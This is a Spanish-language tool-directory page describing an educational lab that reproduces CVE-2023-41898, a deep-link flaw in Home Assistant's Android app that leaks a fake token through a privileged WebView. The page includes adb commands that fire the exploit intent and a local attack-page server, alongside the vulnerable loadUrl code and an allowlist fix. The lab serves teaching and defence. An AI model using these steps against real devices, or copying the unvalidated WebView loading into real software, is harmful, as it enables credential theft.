Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-41898_Lab — Recorrido por CVE-2023-41898: explotación de un enlace profundo no validado en Home Assistant Android para cargar URLs arbitrarias en un WebView privilegiado y filtrar un token falso. | Kitploit
Herramientas/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Seguridad AndroidAnálisis de VulnerabilidadesPentesting de Apps MóvilesAprendizaje y EducaciónLabs y Práctica
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

Recorrido por CVE-2023-41898: explotación de un enlace profundo no validado en Home Assistant Android para cargar URLs arbitrarias en un WebView privilegiado y filtrar un token falso.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
18hace 1 mesAún no revisado

CVE-2023-41898 Unvalidated Deep Link Lab

Laboratorio educativo de reproducción reducida creado a partir del informe de vulnerabilidad pública (GHSL-2023-142) de Home Assistant Companion for Android y de la estructura de código abierto de la versión vulnerable 2023.8.2.

No se utilizan servidores, cuentas ni tokens reales de Home Assistant. Solo se expone un token virtual fijo denominado LAB_TOKEN_CVE_2023_41898_NOT_REAL.

Resumen de la vulnerabilidad

  • Objetivo: Home Assistant Companion for Android
  • Versiones afectadas: anteriores a 2023.9.2 (según el aviso oficial)
  • Versión corregida: 2023.9.2
  • Clasificación: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • Resultado: ejecución arbitraria de JavaScript, invocación limitada de funciones nativas y posible robo de credenciales

Estructura del Lab

Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 검증 없이 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 공격자 페이지에 externalApp JavaScript bridge 노출
  ▼
가상 LAB_TOKEN 표시

El intent-filter del manifiesto de Android solo define qué URI coincide con un Intent implícito; no valida automáticamente la URI de datos de un Intent que especifica explícitamente un componente.

Componentes

  • victim/: app que reproduce el handler de deep links vulnerable y el WebView privilegiado
  • attacker/: app que envía un Intent explícito a la Activity exportada de la app víctima
  • web/: páginas de ataque de las etapas 1 y 2 que se servirán localmente
  • dist/: APK de depuración verificados
  • UPSTREAM.md: correspondencia entre el código fuente original y la implementación del Lab

Compilación

Requisitos: JDK 17 o superior, Android SDK 36, caché de Gradle/Android Gradle Plugin o conexión a Internet.

./gradlew :victim:assembleDebug :attacker:assembleDebug

Instalación y práctica

Ejecutar únicamente en un emulador autorizado o en un dispositivo de pruebas.

1. Instalación de los APK

adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. Ejecutar la página de ataque local

Desde la raíz del Lab, ejecuta el siguiente comando:

python3 -m http.server 8000 --directory web

En el emulador predeterminado de Android Studio, 10.0.2.2 apunta al loopback del PC anfitrión. Si usas un dispositivo de prueba físico, cambia web/exploit.html y la URL de la app atacante a la IP LAN del PC.

3. Verificar el flujo del ataque

  1. Instala las apps CVE-2023-41898 Victim y CVE-2023-41898 Attacker.
  2. Ejecuta el servidor HTTP local.
  3. En la app Attacker, pulsa Ejecutar flujo de deep link vulnerable.
  4. La primera página de ataque navega a la URL interna homeassistant://navigate/.
  5. En el segundo WebView se carga la página del atacante; comprueba que se muestra LAB_TOKEN_CVE_2023_41898_NOT_REAL.

También puedes invocar el primer paso con ADB sin la app atacante.

adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

Código vulnerable y enfoque de la corrección

La implementación vulnerable carga la URI externa tal cual.

Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

En la corrección, se deben validar el esquema, el host, el puerto y la ruta de la URI analizada mediante una allowlist estricta. No se debe usar la comparación de cadenas con startsWith, ya que presenta riesgos de evasión mediante información de usuario ([email protected]), subdominios y codificación.

Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

Además, se deben eliminar el JavaScript innecesario y JavascriptInterface del WebView, y aplicar la misma validación de URL a toda navegación y redirección.

Alcance de seguridad y diferencias con el original

  • No se compila la app original completa; solo se reproduce el flujo de datos vulnerable en un pequeño proyecto Java.
  • No incluye el nombre de paquete real, el almacén de autenticación, la comunicación con el servidor ni las funciones de smart home.
  • En lugar de tokens de autenticación reales, solo se utiliza un token virtual fijo.
  • Solo se utiliza el servidor HTTP local del PC anfitrión, no un servidor de ataque en Internet.

Referencias

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Aviso de seguridad de Home Assistant GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • Etiqueta de código fuente de la versión vulnerable 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
Descargar herramienta